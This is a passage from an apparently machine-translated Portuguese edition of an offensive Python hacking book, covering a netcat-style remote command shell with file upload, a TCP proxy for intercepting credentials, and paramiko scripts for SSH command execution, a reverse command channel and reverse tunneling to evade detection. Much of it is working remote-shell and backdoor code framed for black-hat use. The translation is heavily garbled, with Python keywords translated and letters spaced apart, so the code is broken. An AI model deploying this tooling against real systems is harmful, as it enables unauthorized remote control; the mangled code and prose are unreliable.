dados = Client.recv (4096)recv_len = len (de dados)resposta + = dados

se recv_len


16/114



A quebra de linha extra é anexado especificamente para a nossa entrada do usuário para que o nosso cliente será compatívelcom o nosso shell de comando. A gora vamos seguir em frente e criar o nosso ciclo servidor principal e uma função de stubque irá lidar com tanto a nossa execução do comando e nosso shell de comando completo.

server_loop def ():meta global

# Se nenhum alvo é definida, nós escutar em todas as interfacesse não len (target):

target = "0.0.0.0"

server = socket.socket (socket.AF_INET, socket.SOCK_STREAM)server.bind ((destino, porta))server.listen (5)

while True:client_socket, addr = server.accept ()

# Cisão de uma thread para lidar com o nosso novo clienteclient_thread = threading.Thread (target = client_handler,args = (client_socket,))client_thread.start ()

run_command def (comando):

# Aparar a nova linhacommand = command.rstrip ()

# Executar o comando e obter a saída de voltaexperimentar:

➊ output = subprocess.check_output (comando, stderr = subprocesso.STDOUT, shell = True)

exceto:output = "Falha ao executar o comando. \ r \ n"

# Enviar a saída de volta para o clientesaída de retorno

A té agora, você é um veterano na criação de servidores TCP completo com threading, por isso não vou mergulhar aoserver_loop f u n ç ã o . O run_command função, no entanto, contém uma nova biblioteca que não temcoberta ainda: o subprocesso . bibliotecasubprocess fornece uma poderosa interface de criação de processosque lhe dá um número de maneiras de iniciar e interagir com os programas clientes. N este caso ➊ , estamossimplesmente executando tudo o comando passamos em, executá-lo no sistema operacional local, e retornandoa s a í d a d o c o m a n d o d e v o l t a p a r a o c l i e n t e q u e e s t á l i g a d o a n ó s . O c ó d i g o d e m a n i p u l a ç ã o d e e x c e ç ã ovai pegar erros genéricos e voltar uma mensagem informando que o comando falhou.

A g o r a v a m o s i m p l e m e n t a r a l ó g i c a p a r a f a z e r o u p l o a d d e a r q u i v o s , e x e c u ç ã o d e c o m a n d o s , e o n o s s o e s c u d o .client_handler def (client_socket):

global de uploadglobal de execuçãocomando global

# Verificar para upload➊ if len (upload_destination):

# Lido em todos os bytes e escrever para o nosso destinofile_buffer = ""

# Manter a leitura de dados até que não está disponível

➋ while True:

data = client_socket.recv (1024)

Se não dados:pausa

outro:file_buffer + = dados

# Agora tomamos esses bytes e tentar escrevê-los➌ experimentar:

file_descriptor = open (upload_destination, "wb")file_descriptor.write (file_buffer)file_descriptor.close ()

# Reconhecer que escreveu o arquivo para foraclient_socket.send ( "salvos com sucesso arquivo para% S \ r \ n "% upload_destination)

exceto:client_socket.send ( "Falha ao salvar arquivo para% s \ r \ n"%

upload_destination)

# Cheque para execução de comandosif len (executar):

# Executar o comandooutput = run_command (executar)

client_socket.send (saída)

# Agora vamos para outro ciclo se um shell de comando foi solicitada

➍ se o comando:

while True:# Mostrar uma linha simplesclient_socket.send ( "")

# Agora que recebemos até que vejamos um avanço de linha(tecla Enter)

cmd_buffer = ""enquanto "\ n" não em cmd_buffer:

cmd_buffer + = client_socket.recv (1024)

# Enviar de volta a saída do comandoresponse = run_command (cmd_buffer)

# Enviar de volta a respostaclient_socket.send (resposta)


17/114



N osso primeiro pedaço de código ➊ é responsável por determinar se a nossa ferramenta de rede está definido para receber umarquivo quando ele recebe uma ligação. Isto pode ser útil para upload-e-executar exercícios ou parainstalar malw are e tendo o malw are remover o nosso retorno Python. Primeiro vamos receber os dados do arquivoe m u m l o o p ➋ para se certificar de que nós recebemos tudo, e então nós simplesmente abrir um identificador de arquivo e gravar oconteúdo do arquivo. A WB bandeira garante que estamos escrevendo o arquivo com o modo binário habilitado, quegarante que o upload e escrever um binário executável será bem sucedido. Próximo processamos nossaexecutar funcionalidade ➌ , o que chama a nossa escrito anteriormente run_command função e simplesmente enviao resultado de volta em toda a rede. N osso último pedaço de código manipula o nosso shell de comandos ➍ ; ela continua aexecutar comandos como nós enviá-las por e envia de volta a saída. V ocê vai notar que ele está a procurar umcaractere de nova linha para determinar quando processar um comando, o que torna netcat-friendly.

N o entanto, se você está conjurando um cliente Python para falar com ele, lembre-se de adicionar a nova linha personage m.

Chutar os pneusAgora vamos brincar com ele um pouco para ver alguma saída. Em um terminal ou cmd.exe shell, executar o nossoscript assim:

justin $ ./bhnet.py -l -p 9999 -c

Agora você pode disparar até outro terminal ou cmd.exe , e executar o nosso script em modo cliente. Lembre-se dissonosso script está a ler de stdin e vai fazê-lo até que o marcador EOF (EOF ) é recebido. Enviar

EOF , bateu C T R L -D no seu teclado:justin $ ./bhnet.py -t localhost -p 9999

ls -laTotal 32drwxr-xr-x 4 justin equipe 136 18 de dezembro 19:45.drwxr-xr-x 4 justin equipe 136 09 de dezembro 18:09 ..-rwxrwxrwt 1 justin equipe 8498 19 de dezembro 06:38 bhnet.py-rw-r - r-- 1 equipe justin 844 10 de dezembro 09:34 listing-1-3.py pwd / Users / justin / svn / BHP / code / Chapter2

V o c ê p o d e v e r q u e n ó s r e c e b e m o s d e v o l t a o n o s s o s h e l l d e c o m a n d o s p e r s o n a l i z a d a , e p o r q u e e s t a m o s e m u m h o s t U n i x , n ó s pode executar alguns comando s locais e receber de volta um pouco de saída como se tivéssemos conectado via S SH ou estavam

na caixa localmente. P odemos também usar o nosso cliente para enviar pedidos o bom caminho, à moda antiga:justin $ echo -ne "GET / HTTP / 1.1 \ r \ nHost: www.google.com \ r \ n \ r \ n" | ./bhnet.

py -t www.google.com -p 80

HTTP / 1.1 302 EncontradaLocalização: http://www.google.ca/Cache-Control: privadaContent-Type: text / html; charset = UTF-8P3P: CP = "Esta não é uma política P3P Veja http://www.google.com/support/!contas / bin / answer.py? hl = en & answer = 151657 para obter mais informações. "Data: Wed, 19 dez 2012 13:22:55 GMTServidor: gwsContent-Length: 218X-XSS-Protection: 1; mode = blockX-Frame-Options: SAMEORIGIN

302 Movido 302 Movido O documento passou aqui . [*] Exception! Sair.

justin $

Ai está! Não é uma técnica super - técnico, mas é uma boa base sobr e como cor tar juntos

algumas tomadas de cliente e servidor em P ython e usá-los para o mal. É claro, é os fundamentos quevocê mais precisa: use sua imaginação para expandir ou melhorar. Em seguida, vamos construir um proxy TCP , que éútil em qualquer número de cenários ofensivas.


18/114



Construindo um Proxy TCPHá uma série de razões para ter um proxy TCP em seu cinto de ferramentas, tanto para o encaminhamento de tráfego parasaltar de um hospedeiro para outro, mas também quando se avalia software baseado em rede. ao realizar t e s t e s d e p e n e t r a ç ã o e m a m b i e n t e s c o r p o r a t i v o s , v o c ê v a i c o m u m e n t e s e r c o n f r o n t a d o c o m o f a t o d e q u e v o c ê n ã o p o d e e x e c u t a r W i r e s h a r k , q u e v o c ê n ã o p o d e c a r r e g a r o s d r i v e r s p a r a c h e i r a r a l o o p b a c k n o W i n d o w s , o u q u e a r e d esegmentação impede você de executar suas ferramentas diretamente contra o seu host de destino. Eu ter empregado um

proxy de P ython simples em um número de casos para ajudar a entender os protocolos descon hecidos, modificar ser tráfegoe n v i a d o p a r a u m a a p l i c a ç ã o , e c r i a r c a s o s d e t e s t e p a r a f u z z e r s . V a m o s c h e g a r a e l e .

sys importaçãotomada de importaçãorosqueamento de importaçãodef server_loop (local_host, local_port, remote_host, remote_port, receive_first):

server = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

experimentar:server.bind ((local_host, local_port))

exceto:print "[!!] Falha ao escutar em% s:% d"% (local_host, local_porta)print "[!!] Verifique se há outros soquetes de escuta ou corretapermissões ".sys.exit (0)

print "[*] Ouvir on% s:% d"% (local_host, local_port)

server.listen (5)

while True:client_socket, addr = server.accept ()

# Imprimir as informações de conexão localprint "[==>] recebida conexão de entrada de% s:% d"%(Endereço [0], addr [1])

# Iniciar uma discussão para conversar com o host remotoproxy_thread = threading.Thread (target = proxy_handler,args = (client_socket, remote_host, remote_port, receive_first))

proxy_thread.start ()

def main ():

# Não de linha de comando fantasia analisar aquiif len (sys.argv [1:])! = 5:

print "Uso: ./proxy.py [localhost] [localport] [remotehost][RemotePort] [receive_first] "print "Exemplo: 127.0.0.1 ./proxy.py 9000 10.12.132.1 9000 True"sys.exit (0)

# parâmetros de escuta configuração locallocal_host = sys.argv [1]local_port = int (sys.argv [2])

# Destino remoto de configuraçãoremote_host = sys.argv [3]remote_port = int (sys.argv [4])

# Isto diz a nossa proxy para se conectar e receber dados# Antes de enviar para o host remotoreceive_first = sys.argv [5]

Se "True" em receive_first:receive_first = True

outro:receive_first = False

# Agora girar nossa soquete de escutaserver_loop (local_host, local_port, remote_host, remote_port, receive_first)

a Principal()

A maior parte deste deve parecer familiar: que tomamos em alguns argumentos de linha de comando e, em seguida, disparar um servidor l o o p q u e a t e n d e a c o n e x õ e s . Q u a n d o u m a s o l i c i t a ç ã o d e c o n e x ã o f r e s c o e n t r a , n ó s e n t r e g á - l o a o n o s s oproxy_handler , q u e f a z t u d o d e o e n v i o e r e c e b i m e n t o d e s u c u l e n t o s p e d a ç o s d e a m b o s o s l a d o s d e a d a d o scor r ente.

V a m o s m e r g u l h a r n o proxy_handler f u n ç ã o a g o r a a d i c i o n a n d o o s e g u i n t e c ó d i g o a c i m a d o n o s s o principalfunção.

proxy_handler def (client_socket, remote_host, remote_port, receive_first):

# Conectar ao host remotoremote_socket = socket.socket (socket.AF_INET,

socket.SOCK_STREAM)remote_socket.connect ((remote_host, remote_port))

# Receber dados a partir da extremidade remota, se necessário➊ se receive_first:

➋ remote_buffer = receive_from (remote_socket)

➌ hexdump (remote_buffer)

# Enviá-lo para o nosso manipulador de resposta➍ remote_buffer = response_handler (remote_buffer)

# Se temos dados para enviar para o nosso cliente local, enviá-loif len (remote_buffer):

print "[


19/114



# Ler de host locallocal_buffer = receive_from (client_socket)

if len (local_buffer):

print "[==>] recebida% d bytes de localhost". % Len (local_amortecedor)hexdump (local_buffer)

# Enviá-lo para o nosso manipulador de solicitaçãolocal_buffer = request_handler (local_buffer)

# Enviar os dados para o host remotoremote_socket.send (local_buffer)imprimir "[==>] Enviado para remoto."

# Receber de volta a resposta

remote_buffer = receive_from (remote_socket)

if len (remote_buffer):

impressão "[


20/114



persona gens. Isso é útil para a compreens ão de protocolos descon hecidos, encontrar as credenciais do usuário em texto simples protocolos, e muito mais. O receive_from f u n ç ã o➋ é u s a d o t a n t o p a r a r e c e b e r l o c a l ed a d o s r e m o t o s , e n ó s s i m p l e s m e n t e p a s s a r o o b j e t o d e s o q u e t e p a r a s e r u s a d o . P o r p a d r ã o , n ã o é u m d o i s - s e g u n d as e t t i m e o u t , o q u e p o d e s e r a g r e s s i v o s e v o c ê e s t á a g i n d o c o m o p r o x y o t r á f e g o p a r a o u t r o s p a í s e s o u a o l o n g o l o s s yredes (aumentar o tempo limite se necessário). O resto da função simplesmente lida com a recepção de dadosaté que mais dados é detectado na outra extremidade da ligação. Nossas duas últimas funções ➌ ➍ permitir-lhe

para modificar qualquer tráfego que é destinado para uma ou outra extremidade do proxy. Isto pode ser útil, por exemplo, sea s c r e d e n c i a i s d o u s u á r i o e m t e x t o p u r o e s t ã o s e n d o e n v i a d o s e v o c ê q u e r t e n t a r e l e v a r p r i v i l é g i o s s o b r e o p e d i d o d e

passand o em administração , e m v e z d ejustin . A g o r a q u e t e m o s o n o s s o p r o x y d e c o n f i g u r a r , v a m o s l e v á - l a p a r a u m a r o d a d a .

Chutar os pneusA g o r a q u e t e m o s o n o s s o c i c l o d e p r o x y n ú c l e o e a s f u n ç õ e s d e a p o i o n o l u g a r , v a m o s t e s t a r i s s o c o n t r aum servidor F TP . F ogo até o proxy com as seguintes opções:

justin $ sudo ./proxy.py 127.0.0.1 21 ftp.target.ca 21 Verdadeiro

Nós usamos sudo aqui porque a porta 21 é uma porta privilegiada e exige privilégios administrativos ou de raiza fim de ouvir sobre ele. Agora pegue o seu cliente F TP favorito e configurá-lo para usar localhost e a porta 21 como a suahost remoto e porta. Claro, você vai querer apontar o seu proxy para um servidor F TP que vai realmenteresponder a você. Quando eu corri isso em um servidor F TP teste, eu tenho o seguinte resultado:

[*] Escuta em 127.0.0.1:21[==>] Recebida conexão de entrada de 127.0.0.1:592180000 32 32 30 20 50 72 54 50 6F 46 44 20 31 2E 33 2E 220 ProFTPD 1.3.0010 33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 3a Server (Debia0020 6E 29 20 5B 3A 3A 66 66 66 66 3A 35 30 35 37 2E n) [:: ffff: 22.22

0030 2E 31 36 38 2E 39 33 5D 0D 0A .22.22] ..[] Recebeu 12 bytes de localhost.0000 55 53 45 52 20 74 65 73 74 79 0D 0A USUÁRIO irritado ..[==>] Enviado para remoto.[] Enviado para remoto.[*] Não há mais dados. Fechando conexões.

V ocê pode ver claramente que somos capazes de receber com sucesso a bandeira FTP e enviar um nome de usuárioe senha, e que limpa sai quando o servidor nos pontapés por causa de credenciais incorretas.

SSH com paramikoGirando com BHNET é muito útil, mas às vezes é sábio para criptografar o tráfego para evitar d e t e c ç ã o . U m m e i o c o m u m d e f a z e r i s s o é t ú n e l d o t r á f e g o u s a n d o S e c u r e S h e l l ( S S H ) . M a s o q u e s e


21/114



seu alvo não tem um cliente S S H (como 99,81943 por cento dos sistemas Windows)?

Embora existam grandes clientes S S H disponíveis para Windows, como massa de vidraceiro, este é um livro sobre P ython. DentroP y t h o n , v o c ê p o d e r i a u s a r s o q u e t e s b r u t o s e u m p o u c o d e m a g i a d e c r i p t o g r a f i a p a r a c r i a r s e u p r ó p r i o c l i e n t e S S H o u s e r v i d o r -m a s p o r q u e c r i a q u a n d o v o c ê p o d e r e u t i l i z a r ? P a r a m i k o u s a n d o P y C r y p t o l h e d á a c e s s o s i m p l e s p a r a o S S H 2

pr otocolo.

P a r a s a b e r m a i s s o b r e c o m o e s t a b i b l i o t e c a f u n c i o n a , u s a r e m o s p a r a m i k o p a r a f a z e r u m a c o n e x ã o e e x e c u t a r u m c o m a n d oem um sistema S S H, configurar um servidor S S H eo cliente S S H para executar comandos remotos em um Windowsmáquina, e, finalmente, decifrar o ficheiro túnel demonstração inversa incluídos com paramiko para duplicar ao p ç ã o d e p r o x y d e B H N E T . V a m o s c o m e ç a r .

P rimeiro, pegue paramiko usando instalador pip (ou baixá-lo do http://www.paramiko.org/ ): pip instalar paramiko

Vamos usar alguns dos arquivos de demonstração mais tarde, então certifique-se de baixá-los no site da paramikotambém.

Criar um novo arquivo chamado b h _ s s h c m d . p y e digite o seguinte:rosqueamento de importaçãoparamiko importaçãosubprocess importação

➊ def ssh_command (ip, usuário, passwd, comando):

client = paramiko.SSHClient ()

➋ # client.load_host_keys ( '/ home / justin / .ssh / known_hosts')

➌ client.set_missing_host_key_policy (paramiko.AutoAddPolicy ())client.connect (ip, username = usuário, senha = passwd)ssh_session = client.get_transport (). open_session ()se ssh_session.active:

➍ ssh_session.exec_command (comando)ssh_session.recv impressão (1024)

Retorna

ssh_command ( '192.168.100.131', 'Justin', 'lovesthepython', 'id')

Este é um programa bastante simples. Nós criamos uma função chamada ssh_command ➊ , o q u e t o r n au m a c o n e x ã o c o m u m s e r v i d o r S S H e e x e c u t a u m ú n i c o c o m a n d o . O b s e r v e q u e p a r a m i k o s u p o r t e sautenticação com chaves ➋ e m v e z d e ( o u a l é m ) d e a u t e n t i c a ç ã o p o r s e n h a . U s a n d o a c h a v e S S Hautenticação é fortemente recomendada num engate real, mas para facilidade de uso neste exemplo,vamos ficar com o tradicional nome de usuário e senha de autenticação.

P orque nós estamos controlando ambas as extremidades desta conexão, vamos definir a política de aceitar a chave S S H parao s e r v i d o r S S H q u e e s t á s e c o n e c t a n d o ➌ e fazer a conexão. F inalmente, assumindo que a ligação estáf e i t o , c o r r e m o s o c o m a n d o q u e n ó s p a s s a m o s a o l o n g o d a c h a m a d a p a r a o ssh_command f u n ç ã o e m n o s s oex emp lo , o comando id➍ .Vamos executar um teste rápido, ligando para o nosso servidor Linux:

C: \ tmp> python bh_sshcmd.pyUid = 1000 gid = 1001 grupos (Justin) (Justin) = 1001 (justin)

Você verá que ele se conecta e, em seguida, executa o comando. Você pode facilmente modificar este script para ser executado

vários comandos em um servidor SSH ou comandos são executados em vários servidores SSH .

A ssim, com o básico feito, vamos modificar nosso script para apoiar a execução de comandos sobre o nosso cliente Window ssobre SSH . Claro que, normalmente quando usando SSH , você usar um cliente SSH para se conectar a um servidor SSH ,mas porque o Window s não inclui um servidor SSH out-of-the-box, precisamos inverter esta e enviácomandos do nosso servidor SSH para o cliente SSH .

Criar um novo arquivo chamado b h _ s s h R c m d . p y e digite o seguinte: [6]

rosqueamento de importaçãoparamiko importaçãosubprocess importação

ssh_command def (ip, usuário, passwd, comando):client = paramiko.SSHClient ()# client.load_host_keys ( '/ home / justin / .ssh / known_hosts')client.set_missing_host_key_policy (paramiko.AutoAddPolicy ())client.connect (ip, username = usuário, senha = passwd)ssh_session = client.get_transport (). open_session ()se ssh_session.active:

ssh_session.send (comando)ssh_session.recv impressão (1024) # Ler bandeirawhile True:

command = ssh_session.recv (1024) #get o comando do SSHservidor

experimentar:cmd_output = subprocess.check_output (comando, shell = True)ssh_session.send (cmd_output)

salvo exceção, e:ssh_session.send (str (e))

client.close ()Retorna

ssh_command ( '192.168.100.130', 'Justin', 'lovesthepython', 'ClientConnected')

As primeiras linhas são como o nosso último programa e o novo material começa no enquanto True: loop. Tambémn o t a r q u e o p r i m e i r o c o m a n d o e n v i a m o s é ClientConnected . V o c ê v e r á p o r q u e q u a n d o c r i a m o s o o u t r oe x t r e m i d a d e d a c o n e x ã o S S H .

A g o r a c r i e u m n o v o a r q u i v o c h a m a d o b h _ s s h s e r v e r . p y e digite o seguinte:tomada de importação

paramiko importaçãorosqueamento de importaçãosys importação# Usando a chave dos arquivos de demonstração paramiko

➊ host_key = paramiko.RSAKey (filename = 'test_rsa.key')

➋ classe Servidor (paramiko.ServerInterface):

_init_ def (self):self.event threading.Event = ()

def check_channel_request (self, tipo, chanid):se 'sessão' tipo ==:


22/114



voltar paramiko.OPEN_SUCCEEDEDvoltar paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

check_auth_password def (self, nome de usuário, senha):if (nome == 'Justin') e (password == 'lovesthepython'):

voltar paramiko.AUTH_SUCCESSFULvoltar paramiko.AUTH_FAILED

server = sys.argv [1]ssh_port = int (sys.argv [2])

➌ tentar:

meia = socket.socket (socket.AF_INET, socket.SOCK_STREAM)sock.setsockopt (socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.bind ((servidor, ssh_port))sock.listen (100)print '[+] escuta para conexão ...'

cliente, addr = sock.accept ()salvo exceção, e:

print '[-] Ouça falhou: "+ str (e)

sys.exit (1)print '[+] Tem uma ligação!'

➍ tentar:bhSession = paramiko.Transport (cliente)bhSession.add_server_key (host_key)server = Server ()experimentar:

bhSession.start_server (server = servidor)exceto paramiko.SSHException, x:

print '[-] negociação SSH falhou.'chan = bhSession.accept (20)

➎ print '[+] autenticados! "chan.recv impressão (1024)chan.send ( 'Bem-vindo ao bh_ssh')

➏ while True:experimentar:

command = raw_input ( "comando Enter:") .strip ( '\ n')Se command = "saída"!chan.send (comando)chan.recv impressão (1024) + '\ n'

outro:

chan.send ( "saída")

print 'sair'bhSession.close ()levantar Exception ( "saída")

exceto KeyboardInterrupt:bhSession.close ()

salvo exceção, e:print '[-] exceção Preso: "+ str (e)experimentar:

bhSession.close ()exceto:

passar

sys.exit (1)

Este programa cria um servidor S S H que o nosso cliente S S H (onde se deseja executar comandos) conecta para. Este poderia ser um Linux, Windows, ou mesmo sistema OS X que tem P ython e paramiko instalado.

P a r a e s t e e x e m p l o , e s t a m o s u s a n d o a c h a v e S S H i n c l u í d a s n o s a r q u i v o s d e d e m o n s t r a ç ã o p a r a m i k o ➊ . Começamos um soqueteouvinte ➌ , tal como fizemos no início do capítulo, e depois S S Hinize que➋ e c o n f i g u r a r ométodos de autenticação ➍ . Quando um cliente foi autenticado➎ e envi ou-nos oClientConnectedM ensagem➏ , qual quer comando que di gi t ar no bh_sshserver é envi ado para o bh_sshclient e execut ado em

o b h _ s s h c l i e n t , e a s a í d a é d e v o l v i d o a o b h _ s s h s e r v e r . V a m o s d a r u m a c h a n c e .

Chutar os pneusP ara o demo, eu vou correr o servidor e o cliente na minha máquina Windows (veja a F igura 2-1).

Figur a 2-1. Us ando SSH par a executar comando s

V o c ê p o d e v e r q u e o p r o c e s s o é i n i c i a d o a t r a v é s d a c r i a ç ã o d e n o s s o s e r v i d o r S S H ➊ e , e m s e g u i d a , c o n e c t a n d o a p a r t i r d e n o s s acliente ➋ . O cliente está conectado com sucesso➌ e executar um comando➍ . Nós não vemos nada emo cliente SSH, mas o comando enviamos é executado no cliente ➎ ea saída é enviado para o nosso SSHservidor ➏ .


23/114



Tunneling SSHS S H t u n n e l i n g é i n c r í v e l , m a s p o d e s e r c o n f u s o p a r a e n t e n d e r e c o n f i g u r a r , e s p e c i a l m e n t e q u a n d o s e t r a t ac o m u m t ú n e l S S H i n v e r s a .

L e m b r e - s e q u e o n o s s o o b j e c t i v o e m t u d o i s s o é p a r a e x e c u t a r c o m a n d o s q u e d i g i t a r u m c l i e n t e S S H e m u m S S H r e m o t os e r v i d o r . Q u a n d o s e u t i l i z a u m t ú n e l S S H , e m v e z d e s e r d i g i t a d o s c o m a n d o s e n v i a d o s p a r a o s e r v i d o r , o t r á f e g o d e r e d eé e n v i a d o e m p a c o t a d o d e n t r o d e S S H e d e p o i s e m b a l a d o e e n t r e g u e p e l o s e r v i d o r S S H .

I m a g i n e q u e v o c ê e s t á n a s e g u i n t e s i t u a ç ã o : V o c ê t e m a c e s s o r e m o t o a u m s e r v i d o r S S H e m u mr e d e i n t e r n a , m a s v o c ê q u e r o a c e s s o a o s e r v i d o r w e b n a m e s m a r e d e . V o c ê n ã o p o d e a c e s s a r os e r v i d o r w e b d i r e t a m e n t e , m a s o s e r v i d o r c o m S S H i n s t a l a d o t e m a c e s s o e o s e r v i d o r S S H n ã ot e m a s f e r r a m e n t a s q u e d e s e j a u s a r i n s t a l a d o n e l e .

U m a m a n e i r a d e s u p e r a r e s s e p r o b l e m a é a c r i a ç ã o d e u m t ú n e l S S H p a r a a f r e n t e . S e m e n t r a r e m m u i t o sd e t a l h e , e x e c u t a n d o o c o m a n d o ssh -L 8008: web: 80 justin @ sshserver i r á s e c o n e c t a r a o s s hs e r v i d o r c o m o o u s u á r i o justin e c o n f i g u r a r p o r t a 8 0 0 8 e m s e u s i s t e m a l o c a l . Q u a l q u e r c o i s a e n v i a d a p a r a a p o r t a 8 0 0 8 v o n t a d es e r e n v i a d o s p e l o t ú n e l S S H e x i s t e n t e p a r a o s e r v i d o r S S H e e n t r e g u e a o s e r v i d o r w e b . F i g u r a 2 - 2m o s t r a i s s o e m a ç ã o .

Figur a 2-2. SSH tunneling par a a fr ente

I s s o é m u i t o l e g a l , m a s l e m b r a r q u e n ã o h á m u i t o s s i s t e m a s W i n d o w s e s t á e x e c u t a n d o u m s e r v i ç o d e s e r v i d o r S S H . N ã ot u d o e s t á p e r d i d o , n o e n t a n t o . P o d e m o s c o n f i g u r a r u m a c o n e x ã o S S H t u n n e l i n g i n v e r s o . N e s t e c a s o , n ó s c o n e c t a r - s en o s s o p r ó p r i o s e r v i d o r S S H d o c l i e n t e W i n d o w s n a f o r m a u s u a l . A t r a v é s d e s s a c o n e x ã o S S H , n ó st a m b é m e s p e c i f i c a r u m a p o r t a r e m o t o n o s e r v i d o r S S H q u e s e r á e s c a v a d o u m t ú n e l p a r a o h o s t e p o r t a l o c a l ( c o m om o s t r a d o n a F i g u r a 2 - 3 ) . E s t a m á q u i n a e p o r t a l o c a l p o d e s e r u t i l i z a d o , p o r e x e m p l o , p a r a e x p o r a p o r t a 3 3 8 9a c e s s a r u m s i s t e m a i n t e r n o u s a n d o d e s k t o p r e m o t o , o u p a r a o u t r o s i s t e m a q u e o c l i e n t e W i n d o w s p o d ea c e s s o ( c o m o o s e r v i d o r w e b n o n o s s o e x e m p l o ) .


24/114



Figur a 2-3. SSH tunneling inver s o

O s a r q u i v o s d e d e m o n s t r a ç ã o p a r a m i k o i n c l u i r u m a r q u i v o c h a m a d o r f o r w a r d . p y q u e f a z e x a t a m e n t e i s s o . E l e f u n c i o n a p e r f e i t a m e n t e c o m oÉ p o r i s s o n ã o s ó v a i r e i m p r i m i r e s s e a r q u i v o , m a s e u g o s t a r i a d e s a l i e n t a r a l g u n s p o n t o s i m p o r t a n t e s e e x e c u t a r a t r a v é s d e u m ae x e m p l o d e c o m o u s á - l o . A b r i r r f o r w a r d . p y , p u l a r p a r a main () , e s e g u i r a d i a n t e .

def main ():

➊ Opções, servidor, = remotos parse_options ()password = None

se options.readpass:password = getpass.getpass ( 'Digite a senha SSH:')

➋ client = paramiko.SSHClient ()

client.load_system_host_keys ()client.set_missing_host_key_policy (paramiko.WarningPolicy ())detalhado ( 'Ligar para ssh host% s:% d ...'% (servidor [0], o servidor [1]))experimentar:

client.connect (servidor [0], o servidor [1], username = options.user,key_filename = options.keyfile,look_for_keys = options.look_for_keys, password = password)

exceto Exceção como e:print ( '*** Falha ao ligar a% s:% d:% r'% (servidor [0], o servidor [1], e))sys.exit (1)

detalhado ( "Agora o encaminhamento de porta remoto% d para% s:% d ... '% (options.port,remoto [0], remoto [1]))

experimentar:➌ reverse_forward_tunnel (options.port, remoto [0], remoto [1],

client.get_transport ())exceto KeyboardInterrupt:

print ( 'Cc: Port Forwarding parado.')sys.exit (0)

A s p o u c a s l i n h a s n o t o p o ➊ s e g u n d a v e r i f i c a ç ã o p a r a c e r t i f i c a r - s e d e t o d o s o s a r g u m e n t o s n e c e s s á r i o s s ã o p a s s a d o s p a r a oroteiro antes de configurar a conexão do cliente P armakio S S H ➋ (que deve olhar muito familiar).A seção final no main () c h a m a oreverse_forward_tunnel f u n ç ã o➌ .

V a m o s t e r u m o l h a r p a r a e s s a f u n ç ã o .

def reverse_forward_tunnel (server_port, remote_host, remote_port, transporte):➍ transport.request_port_forward ( '', server_port)

while True:➎ Chan = transport.accept (1000)

Se chan é None:continuar

➏ thr = threading.Thread (target = manipulador, args = (chan, remote_host,.remote_port))

thr.setDaemon (True)thr.start ()

Em paramiko, existem dois métodos de comunicação principais: transporte , q u e é r e s p o n s á v e l p e l a

f a z e r e m a n t e r a c o n e x ã o c r i p t o g r a f a d a e canal , q u e a t u a c o m o u m m e i a p a r a o e n v i oe r e c e b e r d a d o s s o b r e a s e s s ã o d e t r a n s p o r t e c r i p t o g r a f a d o . A q u i c o m e ç a m o s a u s a r p a r a m i k o d erequest_port_forward para transmitir TCP conexõ es de uma porta ➍ sobre o S S H servidor e iniciar -se umnovo canal de t ransport e ➎ . Ent ão, ao l ongo do canal , chamamos o mani pul ador função➏ .M as nós ainda não terminamos .

manipulador def (chan, host, porta):meia = socket.socket ()experimentar:

sock.connect ((host, porta))exceto Exceção como e:

detalhado ( "Encaminhamento solicitação para% s:% d falhou:% r '% (host, a porta e))Retorna

'! Conectado Tunnel aberta% r ->% r ->% r' verbose (% (chan.origin_addr,.chan.getpeername (),.(Host, port)))

➐ while True:

R, W, X = select.select ([peúga, Chan], [], [])

se meia na r:data = sock.recv (1024)if len (dados) == 0:

pausa

chan.send (dados)Se chan no r:

data = chan.recv (1024)if len (dados) == 0:

pausasock.send (dados)

chan.close ()sock.close ()detalhado ( 'Túnel fechado a partir de% r'% (chan.origin_addr,))

E, fi nal ment e, os dados são envi ados e recebi dos ➐ .

Vamos dar-lhe uma tentativa.


25/114



Chutar os pneusVamos correr r f o r w a r d . p y do nosso sistema Windows e configurá-lo para ser o homem de meia como nóstráfego de túnel de um servidor web para o nosso servidor Kali S S H.

C: \ tmp \ demos> rforward.py 192.168.100.133 -p 8080 -r 192.168.100.128:80--user justin --password

Digite a senha SSH:Conectando-se ao acolhimento ssh 192.168.100.133:22 ...C: \ python27 \ lib \ site-packages \ paramiko \ client.py: 517: UserWarning: Desconhecidossh-rchave do anfitrião sa para 192.168.100.133: cb28bb4e3ec68e2af4847a427f08aa8b

(Key.get_name (), hostname, hexlify (key.get_fingerprint ())))Agora encaminhamento porta remota 8080 para 192.168.100.128:80 ...

V o c ê p o d e v e r q u e n a m á q u i n a W i n d o w s , e u f i z u m a c o n e x ã o c o m o s e r v i d o r S S H e m 1 9 2 . 1 6 8 . 1 0 0 . 1 3 3e a b r i u a p o r t a 8 0 8 0 n o s e r v i d o r , q u e i r á e n c a m i n h a r o t r á f e g o p a r a a p o r t a 1 9 2 . 1 6 8 . 1 0 0 . 1 2 8 8 0 . E n t ã o a g o r as e e u n a v e g a r p a r a http://127.0.0.1:8080 n o m e u s e r v i d o r L i n u x , e u c o n e c t a r a o s e r v i d o r w e b e m1 9 2 . 1 6 8 . 1 0 0 . 1 2 8 a t r a v é s d o t ú n e l S S H , c o m o m o s t r a d o n a F i g u r a 2 - 4 .

F igura 2-4. exemplo túnel SSH reverso

S e v o c ê v i r a r p a r a t r á s p a r a a m á q u i n a W i n d o w s , v o c ê t a m b é m p o d e v e r a c o n e x ã o q u e e s t á s e n d o f e i t o e m p a r a m i k o :Conectado! Túnel aberto (u'127.0.0.1 ', 54537) -> (' 192.168.100.133 ', 22) ->( '192.168.100.128', 80)

S S H e t ú n e i s S S H s ã o i m p o r t a n t e s p a r a c o m p r e e n d e r e u t i l i z a r . S a b e r q u a n d o e c o m o S S H etúnel S S H é uma habilidade importante para chapéus pretos e paramiko torna possível adicionar S S Hc a p a c i d a d e s p a r a s u a s f e r r a m e n t a s d e P y t h o n e x i s t e n t e s .

